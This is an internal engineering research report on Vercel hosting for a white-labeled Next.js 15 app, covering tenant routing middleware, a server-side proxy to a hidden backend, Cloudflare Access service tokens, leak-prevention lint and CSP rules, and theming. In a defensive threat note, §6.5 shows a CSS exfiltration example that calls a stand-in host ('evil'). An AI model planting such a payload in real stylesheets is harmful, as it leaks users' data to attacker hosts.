WaFine docs
Project docsResearch & decisions

R5 — Next.js 15 Frontend Hosting & White-Labeling Architecture

Historical (pre-rebrand, 2026-10): written when the product was called WaaSel and the hosts were waasel.* / bouskoura.online. The product is now WAFINE: production hosts wafine.zawia.tech, api.wafine.zawia.tech, docs.wafine.zawia.tech; bouskoura.online is the testing playground. Names and hosts below are kept as written.

Scope: app/web (Next.js 15 App Router) on Vercel, white-labeling for two brand domains (waasel / waas) plus per-tenant custom domains, fronting a BFF that stays on the OCI VM behind a Cloudflare Tunnel + Cloudflare Access. Repo: openwa-oci-infra, branch mo/e2e-encryption-scaffold. Date: 2026-10-08. Status: research report — verified against vendor docs where cited; anything I could not confirm from a primary source is marked UNVERIFIED.


0. TL;DR — the seven decisions

#QuestionVerdict
1Per-tenant white-labeling patternHostname rewrite in middleware.ts → [tenant] dynamic segment. One build, one deployment.
2Custom domains on VercelAdd per-domain via SDK/API; wildcard *.domain needs Vercel nameservers (or _acme-challenge NS delegation). Pro: unlimited domains, soft cap 100k/project.
3Frontend → unexposed BFFServer-side proxy through Next.js Route Handlers (app/api/bff/[...path]/route.ts). Browser never sees the BFF.
4Cloudflare Access vs public VercelAccess blocks the browser, not a server. Cloudflare Access Service Token on the Vercel server-side proxy is the normal fix.
5Zero-leakage ruleESLint no-restricted-imports/no-restricted-syntax + a build-time grep gate + CSP connect-src 'self'. Three layers.
6Tailwind vs CSS variablesBoth are implemented. The doc's "no Tailwind" line is stale. Right call: Tailwind for layout, CSS custom properties for theme tokens.
7Staging AWS / prod OCIFrontend is Vercel in both; only the BFF origin moves. Keep the proxy boundary identical across environments.

1. Per-tenant white-labeling: which pattern?

1.1 The three candidates

(A) Dynamic [tenant] path segment — app/[tenant]/page.tsx, tenant in the URL path (/waasel/dashboard). Simple, but the tenant is in the URL, which is wrong for white-labeling: waasel.online/dashboard must not become waasel.online/waasel/dashboard. Path-based tenancy is for multi-tenant SaaS consoles, not branded domains.

(B) Hostname rewrite in middleware — one deployment, middleware.ts reads request.headers.get('host'), resolves tenant, and either rewrites internally to /domains/[hostname] or forwards x-tenant-id on request headers. Vercel's own multi-tenant template does exactly this: rewrite / → /domains/${hostname} and let the page read the tenant from the route param (Vercel multi-tenant template).

(C) Build per tenant — N Vercel projects, N builds, N env sets. Correct only when tenants need code isolation (different feature sets, different bundles, hard compliance separation). For brand color + logo + font it is pure waste: N× build minutes, N× deployments to keep in sync, and a fleet of projects to patch on every dependency CVE.

1.2 Comparison

Dimension(A) path [tenant](B) hostname rewrite(C) build per tenant
Cost1 project1 project + middleware invocationsN projects, N× build minutes
CachingGood — path is part of the cache keyGood — rewrite target is part of the cache key; Vary on host is implicit because the resolved route differsBest (fully static per tenant)
ComplexityLowMedium (host→tenant resolver + header hygiene)High (fleet orchestration)
Custom domainsAwkward (slug leaks into URL)Native — custom domain is just another hostWorks but requires a project per domain
Branding correctnessPoor (URL shows slug)Correct — waasel.online/ stays /Correct
Per-tenant code divergenceNoNoYes

1.3 Verdict

Use (B), hostname rewrite, with a [tenant]-style dynamic segment as the internal rewrite target. This is the pattern Vercel documents for both subdomain and custom-domain resolution (Vercel Proxy and Routing).

Critical detail for 2026: Next.js renamed the middleware file convention to proxy in Next.js 16, and Vercel's docs now show proxy.ts. On Next.js 15 you must use middleware.ts with an exported middleware function (Vercel Proxy and Routing, note). The scaffold pins "next": "^15.1.0" — so middleware.ts it is.

Second critical detail: middleware defaults to the Edge runtime on Next.js 15; the Node.js runtime became stable in Next.js 15.5 via export const config = { runtime: 'nodejs' } (Next.js 15.5 blog). The scaffold is on ^15.1.0, which is below 15.5, so runtime: 'nodejs' is not available at the pinned range — see §1.5.

1.4 Concrete shape for this repo

// app/web/src/middleware.ts  (Next.js 15 — NOT proxy.ts)
import { NextRequest, NextResponse } from 'next/server';

const RESERVED = new Set(['www', 'app', 'admin', 'api']);
const BRAND_DOMAINS: Record<string, string> = {
  'waasel.online': 'waasel',
  'waas.online':   'waas',
  'bouskoura.online': 'bouskoura',        // Cloudflare + Vercel
  'wa.ai4x.academy':  'ai4x',             // Supabase + Cloudflare
};

export const config = {
  matcher: ['/((?!api|_next/static|_next/image|favicon.ico).*)'],
};

export async function middleware(request: NextRequest) {
  const host = (request.headers.get('host') ?? '').split(':')[0];

  // 1. Strip any inbound tenant headers — only middleware may set them.
  const headers = new Headers(request.headers);
  headers.delete('x-tenant-id');
  headers.delete('x-tenant-slug');

  // 2. Resolve: exact brand domain → slug; else custom-domain lookup; else subdomain.
  let slug = BRAND_DOMAINS[host];
  if (!slug) slug = await resolveCustomDomain(host);      // KV / Supabase lookup, cached
  if (!slug) {
    const sub = host.split('.')[0];
    slug = RESERVED.has(sub) ? undefined : sub;
  }
  if (!slug) return NextResponse.next({ request: { headers } });

  headers.set('x-tenant-id', slug);
  headers.set('x-tenant-slug', slug);

  // 3. Rewrite root to the dynamic segment; keep the public URL clean.
  const url = request.nextUrl.clone();
  if (url.pathname === '/') url.pathname = `/t/${slug}`;
  return NextResponse.rewrite(url, { request: { headers } });
}

The headers.delete(...) step is not cosmetic — Vercel's docs call it out explicitly ("Strip inbound tenant headers; only the proxy sets them"). Without it, a client can send x-tenant-id: victim and the app will trust it. This is the single most common multi-tenant authz bug.

1.5 Runtime caveat (specific to this scaffold)

package.json pins next@^15.1.0. Node.js middleware is stable only from 15.5 (Next.js 15.5). Two consequences:

  • If resolveCustomDomain needs a DB client or Node APIs, you must bump to next@>=15.5 and set export const config = { runtime: 'nodejs' }.
  • On Edge (15.1–15.4), the resolver must be fetch-only. Practically: cache the host→tenant map in Vercel Edge Config or KV and read it with fetch, not a Postgres client. Vercel's own example uses @vercel/global-config (get('domain_<host>')) for exactly this reason.

Recommendation: bump to next@^15.5 and run middleware on Node.js. The BFF is on a tailnet/tunnel; an Edge middleware that cannot reach internal services is a dead end.


2. Custom domains on Vercel — real limits

All figures below are from Vercel's own pages, last-updated 2026-09-08 / 2026-09-16.

2.1 Limits

FeatureHobbyProEnterprise
Custom domains per project50Unlimited*Unlimited*
Wildcard domains (*.acme.com)SupportedSupportedSupported
Custom SSL certificates (upload)✗✗Enterprise only
Multi-tenant preview URLs✗✗Enterprise only

* Soft abuse limits: 100,000 domains per project on Pro, 1,000,000 on Enterprise; "flexible and can be increased upon request" (Multi-tenant Limits).

This is the number that decides your plan. Two brand domains plus a handful of tenants fits Hobby's 50. A white-label product with per-tenant domains does not — you need Pro. At 50 domains Hobby is a hard wall.

2.2 SSL provisioning

  • Wildcard domains require Vercel's nameservers (ns1.vercel-dns.com, ns2.vercel-dns.com) so Vercel can complete the DNS-01 challenge. "Vercel issues one wildcard certificate for *.acme.com that covers every tenant subdomain at that level… A wildcard certificate covers only one subdomain level" (Configuring Custom Domains).
  • If you cannot move nameservers (Cloudflare is authoritative for bouskoura.online and wa.ai4x.academy), delegate the challenge: add NS records for _acme-challenge → ns1.vercel-dns.com. / ns2.vercel-dns.com., then add a wildcard CNAME * → cname.vercel-dns-0.com. (Add a Domain — external DNS). Deleting those NS records breaks wildcard cert renewal — documented as a troubleshooting trap (Troubleshooting domains).
  • Each custom domain gets its own certificate, separate from the wildcard cert. Issuance is automatic once the domain is verified; an unverified domain gets no certificate (Domain management for multi-tenant).

2.3 Per-domain cost

Domains themselves are free to attach — there is no per-domain line item. Cost is indirect: Fast Data Transfer and Edge Requests. Pro includes 1 TB Fast Data Transfer and 10M Edge Requests/month, then $0.15/GB and ~$2/1M respectively, drawn against a $20/month credit; Pro platform fee is $20/month including 1 deploying seat, extra seats $20/month each (Vercel Pro Plan, Pricing).

2.4 API rate limits (matters for self-serve domain provisioning)

Domain addition 100 req/hour/team, verification 50 req/hour/team, removal 100 req/hour/team (Multi-tenant Limits). If tenants add their own domains through your UI, this is your throttle ceiling — queue the projectsAddProjectDomain calls.

2.5 Cloudflare in front of Vercel

Both bouskoura.online and wa.ai4x.academy sit behind Cloudflare. A proxied CNAME <name> → cname.vercel-dns.com works, but note: with Cloudflare proxying, Vercel sees Cloudflare's IPs, and Cloudflare's own SSL mode must be Full (strict) or you get a redirect loop. UNVERIFIED — I did not confirm a Vercel doc stating this; it is standard Cloudflare behaviour but confirm against the Cloudflare dashboard for these two zones before committing.


3. Frontend → BFF that is NOT publicly exposed

The BFF lives on the OCI VM behind a Cloudflare Tunnel. The browser must never learn its address. Enumerating the real options:

3.1 Option matrix

OptionBFF exposed?Works for public users?Notes
(a) Server-side proxy via Next.js Route HandlersNoYesBrowser calls /api/bff/* on the Vercel origin; the route handler calls the BFF server-to-server.
(b) Direct browser → BFF with CORSYesYesRequires a public BFF origin. Violates the constraint outright.
(c) Signed short-lived tokens, browser → BFFYesYesToken authorizes, does not hide. Still a public endpoint.
(d) Vercel rewrites() to external originPartiallyYesThe rewrite target is in vercel.json — and Vercel's docs show rewrites to external origins are supported and cacheable. But the origin is a build artifact, and error/redirect behaviour leaks it.
(e) Next.js Server ActionsNoYesSame trust boundary as (a) but a worse fit for a typed RPC surface.

3.2 Verdict: (a), server-side proxy through Route Handlers

// app/web/src/app/api/bff/[...path]/route.ts
import { NextRequest, NextResponse } from 'next/server';

const BFF_URL = process.env.BFF_URL!;            // server-only, no NEXT_PUBLIC_ prefix
const CF_ACCESS_CLIENT_ID = process.env.CF_ACCESS_CLIENT_ID!;
const CF_ACCESS_CLIENT_SECRET = process.env.CF_ACCESS_CLIENT_SECRET!;

export const runtime = 'nodejs';

async function proxy(req: NextRequest, ctx: { params: Promise<{ path: string[] }> }) {
  const { path } = await ctx.params;
  const upstream = new URL(path.join('/'), BFF_URL);
  upstream.search = req.nextUrl.search;

  const res = await fetch(upstream, {
    method: req.method,
    headers: {
      'content-type': req.headers.get('content-type') ?? 'application/json',
      'authorization': req.headers.get('authorization') ?? '',   // tenant session JWT
      'CF-Access-Client-Id': CF_ACCESS_CLIENT_ID,
      'CF-Access-Client-Secret': CF_ACCESS_CLIENT_SECRET,
    },
    body: ['GET', 'HEAD'].includes(req.method) ? undefined : await req.text(),
    // @ts-expect-error — Next.js fetch extension
    duplex: 'half',
  });

  return new NextResponse(res.body, {
    status: res.status,
    headers: { 'content-type': res.headers.get('content-type') ?? 'application/json' },
  });
}

export const GET = proxy;
export const POST = proxy;
export const PUT = proxy;
export const PATCH = proxy;
export const DELETE = proxy;

Why this is the right answer:

  1. The BFF origin never reaches the browser. BFF_URL has no NEXT_PUBLIC_ prefix, so Next.js will not inline it into the client bundle. This is the mechanism that makes the zero-leakage rule enforceable (§5).
  2. Same-origin for the browser. No CORS preflight, no Access-Control-Allow-Origin wildcard, no OPTIONS handler. Cookies stay first-party, which matters for the session JWT and for SameSite=Lax.
  3. The Cloudflare Access Service Token lives server-side only (§4).
  4. CSP can stay connect-src 'self' — the browser only ever talks to the Vercel origin.

Cost: every BFF call becomes a Vercel Function invocation. With fluid compute (default for new projects) Vercel bills active CPU time — time waiting on I/O (the upstream BFF) does not count as CPU, only provisioned memory time accrues (Function duration). A proxy that is mostly waiting is therefore cheap. Default max duration 300s on all plans; Pro max 800s, extended 1800s beta on Node.js/Python with fluid compute (Vercel Functions Limits).

3.3 What NOT to do

  • Do not put the BFF URL in a NEXT_PUBLIC_* var. Next.js inlines those into the client bundle at build time; it is a permanent leak in a hashed JS chunk.
  • Do not rely on option (c) alone. A signed token does not un-expose an endpoint; it only gates it. If the BFF is reachable from the internet, it is attack surface.
  • Do not use option (b). CORS is not an access control — it is a browser policy that curl ignores.

3.4 Streaming and long-lived connections

The BFF pushes encrypted payloads over WebSocket (design doc §6.2). A Next.js Route Handler cannot proxy a WebSocket upgrade on Vercel — serverless functions are request/response. Options: (i) SSE from the route handler (works, but one-way and reconnects are manual), or (ii) the client opens the WebSocket to the Vercel origin via a separate mechanism. UNVERIFIED — I did not find a current Vercel doc confirming WebSocket proxying through Route Handlers; treat "not supported" as the safe assumption and design the push channel as SSE or a polling fallback for Phase 4.


4. Cloudflare Access on the ingress vs Vercel on the frontend

4.1 What breaks

Cloudflare Access protects an origin by intercepting the browser at the Cloudflare edge and requiring an interactive login (SSO, OTP). It then injects a signed Cf-Access-Jwt-Assertion header on requests it forwards (Validate JWTs).

A public Vercel app calling that origin server-to-server has no browser session. There is no user to redirect to a login page, no CF_Authorization cookie, and no way to satisfy an interactive Access policy. The result is a 302 to the Cloudflare Access login, or a 403 — and because it is a server-side fetch, the user just sees a broken app with an opaque error. This is the classic failure: Access is designed for humans; a server is not a human.

4.2 How it is normally solved: Cloudflare Access Service Tokens

Create a Service Token under Zero Trust → Access → Service Auth. It yields a Client ID and a Client Secret. Add a Service Auth policy to the Access application that includes that token, then send the pair as headers:

CF-Access-Client-Id: <CLIENT_ID>
CF-Access-Client-Secret: <CLIENT_SECRET>

Cloudflare exchanges them for a JWT and admits the request (Service tokens). This is exactly the pattern the Vercel-side proxy in §3.2 uses. The secret is a Vercel server-side env var, never NEXT_PUBLIC_.

4.3 The layered design for this repo

Browser ──HTTPS──► Vercel (public, Next.js)
                     │  Route Handler /api/bff/*
                     │  + CF-Access-Client-Id / -Secret
                     ▼
             Cloudflare edge (Access app on the BFF hostname)
                     │  Service Auth policy admits the token
                     ▼
             Cloudflare Tunnel ──► OCI VM : BFF

Key properties:

  • The browser is never challenged by Access. Only the Vercel server is, and it presents a token. Public users are served normally.
  • The BFF hostname is still not public. Access sits in front of it; without the token you get a login wall, not the app.
  • Defence in depth: keep the tenant session JWT (design doc §4.3) as a second, independent check. Access authenticates the Vercel app; the JWT authenticates the tenant. Neither replaces the other.

4.4 Alternative: bypass policy on a custom header

Some teams use an Access Bypass policy keyed on a secret header (e.g. X-Internal-Bypass) instead of a Service Token. It works, but a bypass rule is a weaker primitive — it is a static shared secret with no rotation story and no audit identity. Prefer Service Tokens. (Both patterns are documented in the wild; the Service Token is the one Cloudflare documents as the recommended route.)

4.5 Do not forget: Vercel's own Deployment Protection

Vercel preview deployments are protected by Vercel Authentication by default on Pro. If you also put Cloudflare Access in front of a Vercel-hosted app (not the case here, but relevant if you ever front the frontend with Access), you get two login walls. The known fix is to keep Vercel Authentication on for previews and let Cloudflare Access handle production — the two are scoped differently.


5. The zero-leakage rule — enforceable version

Rule: no gateway URL may appear outside the BFF client.

A rule that lives only in a doc is not a rule. Make it three mechanical gates.

5.1 Layer 1 — ESLint: forbid the raw URL in app code

// app/web/eslint.config.mjs  (flat config, eslint 9 — matches the scaffold's ^9.17.0)
export default [
  {
    rules: {
      'no-restricted-syntax': [
        'error',
        {
          selector: "Literal[value=/2785|OPENWA_BASE_URL|openwa.*gateway/i]",
          message: 'Zero-leakage: the OpenWA gateway URL must not appear in app/web. Go through the BFF proxy.',
        },
        {
          selector: "MemberExpression[object.name='process'][property.name='env'][property.name='OPENWA_BASE_URL']",
          message: 'Zero-leakage: OPENWA_BASE_URL is BFF-only. Use the /api/bff proxy.',
        },
      ],
      'no-restricted-imports': [
        'error',
        { patterns: ['**/bff/src/config/env*', '@waasel/bff/src/config/*'] },
      ],
    },
  },
];

The no-restricted-imports entry is the sharp one: the scaffold's app/web/src/lib/api-client.ts already imports a type from @waasel/bff/src/adapters/http/routers/index.js. Type-only imports are erased at build time and are safe — but the rule must be scoped so that import type is allowed while a value import of BFF internals (which would pull in env.ts and therefore the gateway URL) is not. Use @typescript-eslint/consistent-type-imports with fixStyle: 'inline-type-imports' alongside, and restrict value imports of **/bff/src/config/**.

5.2 Layer 2 — build-time grep gate

#!/usr/bin/env bash
# app/web/scripts/check-zero-leakage.sh — run in CI after `next build`
set -euo pipefail

BUNDLE=".next"
PATTERNS='2785|OPENWA_BASE_URL|openwa[._-]?(gateway|base)|X-API-Key'

# Only inspect what actually ships to the browser.
if grep -rInE "$PATTERNS" "$BUNDLE/static" 2>/dev/null; then
  echo "FAIL: gateway reference found in client bundle" >&2
  exit 1
fi

# Server bundles must not contain the *client-visible* env either.
if grep -rInE 'NEXT_PUBLIC_[A-Z_]*BFF|NEXT_PUBLIC_[A-Z_]*OPENWA' "$BUNDLE" 2>/dev/null; then
  echo "FAIL: BFF/gateway env leaked via NEXT_PUBLIC_" >&2
  exit 1
fi

echo "OK: zero-leakage check passed"

Wire it into package.json so it cannot be skipped:

"scripts": {
  "build": "next build && ./scripts/check-zero-leakage.sh"
}

Why post-build and not pre-commit: the leak vector is bundling, not source text. A NEXT_PUBLIC_BFF_URL in .env is invisible to a source grep and fully visible in .next/static/chunks/*.js. Only the built artifact tells the truth.

5.3 Layer 3 — CSP connect-src 'self'

The scaffold's next.config.ts currently ships:

connect-src 'self' https:;

https: is a hole — it permits fetch() to any HTTPS origin, including the gateway if its URL ever leaks. Tighten it:

default-src 'self';
script-src 'self' 'unsafe-eval';          # 'unsafe-eval' is required by libsodium-wrappers WASM
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;              # tenant logos are remote
connect-src 'self';                       # ← the enforcement
frame-ancestors 'none';
base-uri 'self';
object-src 'none';

With connect-src 'self', even a leaked gateway URL cannot be fetched from the browser. The proxy in §3.2 is same-origin, so nothing legitimate breaks. Note 'unsafe-eval' is needed for the libsodium WASM instantiation — keep it but scope it to script-src only.

5.4 Bonus: the BFF side of the rule

The rule is symmetric. On the BFF, OPENWA_BASE_URL should be the only place the gateway address exists, and it should be validated at boot. The scaffold's app/bff/src/config/env.ts already defaults openwaBaseUrl to http://localhost:2785 — correct. Add a production guard that the value is not a public hostname, and a test that greps the built BFF for the raw gateway host outside env.ts.


6. Resolving the Tailwind contradiction

6.1 What the doc says vs what exists

Design doc §5.1 (line 229): "Styling: CSS variables for white-labeling (no Tailwind — keep it minimal)."

The scaffold, on disk, right now:

FileContentImplication
app/web/tailwind.config.ts29 lines, content globs over src/app, src/components; theme.extend.colors maps primary, surface, border, text to var(--color-*)Tailwind is configured
app/web/postcss.config.mjsplugins: { tailwindcss: {}, autoprefixer: {} }Tailwind is wired into the build
app/web/src/styles/globals.css@tailwind base; @tailwind components; @tailwind utilities;Tailwind directives are active
app/web/src/lib/white-label.tsapplyTheme() sets --primary-color / --font-family on document.documentElementCSS variables are also active

Verdict: Tailwind IS implemented. The doc line is stale drift. Moreover the two are already fused — tailwind.config.ts defines its colour tokens as var(--color-primary, #1a73e8) etc., so Tailwind classes resolve to CSS custom properties. That is not a contradiction in the code; it is a contradiction between the code and the prose.

6.2 A second, real bug in the current wiring

There are two mismatched variable namespaces:

  • tailwind.config.ts reads --color-primary, --color-surface, --color-border, --color-text, --color-text-muted.
  • white-label.ts writes --primary-color and --font-family.
  • globals.css defines --primary-color and --font-family, plus a [data-theme] block that reads --theme-primary-color.

So applyTheme() writes --primary-color but Tailwind's text-primary reads --color-primary. The theme would not apply. This is a live defect, not a style preference.

6.3 The right call

Keep both, with a strict division of labour:

  • Tailwind = structure. Layout, spacing, responsive breakpoints, component composition. These do not vary per tenant.
  • CSS custom properties = theme tokens. Colours, fonts, radii, logo. These vary per tenant and must change without a rebuild.

The reason is not aesthetic. A per-tenant theme expressed as Tailwind classes would have to be compiled per tenant — reintroducing option (C) from §1. A theme expressed as CSS custom properties is a single runtime setProperty() call, which is exactly what white-label.ts already does. Tailwind's var() indirection is what lets one build serve every tenant.

6.4 Concrete fix

Unify on one namespace. Rename the Tailwind keys to match what applyTheme writes, or vice versa. Pick --wl-* to make the white-label surface obvious:

// tailwind.config.ts
theme: {
  extend: {
    colors: {
      primary:      'var(--wl-primary, #1a73e8)',
      'primary-hover': 'var(--wl-primary-hover, #1557b0)',
      surface:      'var(--wl-surface, #ffffff)',
      'surface-alt':'var(--wl-surface-alt, #f8f9fa)',
      border:       'var(--wl-border, #e2e8f0)',
      text:         'var(--wl-text, #1a202c)',
      'text-muted': 'var(--wl-text-muted, #64748b)',
    },
    fontFamily: { sans: ['var(--wl-font, Inter)', 'system-ui', 'sans-serif'] },
  },
},
// white-label.ts — write the SAME namespace
export function applyTheme(theme: WhiteLabelTheme): void {
  if (typeof document === 'undefined') return;
  const s = document.documentElement.style;
  s.setProperty('--wl-primary', theme.primaryColor);
  s.setProperty('--wl-font', theme.fontFamily);
}

And set the theme server-side in the tenant layout so there is no flash of default branding. In App Router, inject it as a style attribute on <html> from the RSC:

// app/web/src/app/t/[tenant]/layout.tsx
export default async function TenantLayout({ params, children }) {
  const { tenant } = await params;
  const theme = await getTenantTheme(tenant);   // server-side, cached
  return (
    <html lang="en" style={{
      '--wl-primary': theme.primaryColor,
      '--wl-font': theme.fontFamily,
    } as React.CSSProperties}>
      <body>{children}</body>
    </html>
  );
}

Note: applyTheme() as written is a client-only function (typeof document === 'undefined' guard) — it cannot run in an RSC. The server-side injection above is the correct pattern; keep applyTheme only for runtime theme switching (a tenant previewing a theme in settings).

6.5 The custom_css field is a security problem

tenant_themes.custom_css (design doc §7) is injected via document.createElement('style') with textContent. That is not an XSS sink by itself (textContent does not parse HTML), but arbitrary tenant CSS can exfiltrate via background: url(https://evil/?data=...) and can overlay UI to phish. With style-src 'self' 'unsafe-inline' in the CSP, it is permitted. Recommendation: drop custom_css for Phase 4, or restrict it to a validated token set (colours, font-family, radius). Mark this as a decision, not an oversight.


7. Deployment topology — staging AWS, production OCI

The design doc (§8) puts the BFF on AWS ECS Fargate for staging and OCI for production, with the frontend on Vercel in both. That is fine, and it does not change any of the above, with one rule:

Keep the proxy boundary byte-identical across environments. The Vercel app must not know whether BFF_URL points at Fargate or the OCI tunnel. Concretely:

EnvVercel projectBFF_URLAccess
Stagingsame project, preview branchhttps://bff-staging.<zone>CF Access Service Token
Productionsame project, mainhttps://bff.<zone>CF Access Service Token

Use Vercel environment variables scoped per environment (Production / Preview / Development) rather than branching in code. The zero-leakage grep (§5.2) then runs against every preview deployment automatically.

One staging-specific note: if the staging BFF is on AWS without a Cloudflare Tunnel, the Service Token headers are simply ignored by whatever fronts it — harmless, but it means staging does not exercise the Access path. Recommendation: put Cloudflare Access in front of staging too, so the token path is tested before production. Otherwise the first time the Service Token is exercised is in production.


8. Open questions / UNVERIFIED

  1. Cloudflare SSL mode for Vercel-behind-Cloudflare. Must be Full (strict) to avoid redirect loops. Not confirmed against a Vercel doc — verify per zone. UNVERIFIED.
  2. WebSocket proxying through Vercel Route Handlers. Assumed unsupported; not confirmed for 2026. Design the push channel as SSE or polling. UNVERIFIED.
  3. @vercel/global-config availability. Vercel's multi-tenant docs use it for host→tenant lookups, but I did not confirm its plan requirements or current GA status. UNVERIFIED.
  4. Vercel wildcard cert with Cloudflare-proxied DNS. The _acme-challenge NS delegation is documented; whether it works cleanly when the zone is Cloudflare-proxied (orange cloud) is not confirmed. UNVERIFIED.
  5. next@^15.1.0 vs Node.js middleware. The scaffold's pin predates the 15.5 stability milestone. Bump before relying on runtime: 'nodejs'.

9. References


10. Action items for the scaffold

#ActionFile
1Add middleware.ts with hostname resolution + header strippingapp/web/src/middleware.ts
2Bump next to ^15.5 and set runtime: 'nodejs' in middlewareapp/web/package.json
3Add the BFF proxy Route Handlerapp/web/src/app/api/bff/[...path]/route.ts
4Unify the theme CSS-variable namespace (--wl-*)tailwind.config.ts, white-label.ts, globals.css
5Inject theme server-side in the tenant layoutapp/web/src/app/t/[tenant]/layout.tsx
6Tighten CSP connect-src to 'self'app/web/next.config.ts
7Add ESLint zero-leakage rulesapp/web/eslint.config.mjs
8Add the post-build grep gate and wire it into buildapp/web/scripts/check-zero-leakage.sh
9Fix design doc §5.1 line 229 (remove "no Tailwind")docs/04-e2e-encryption.md
10Decide on custom_css (drop or token-validate)design doc §7 / §10

On this page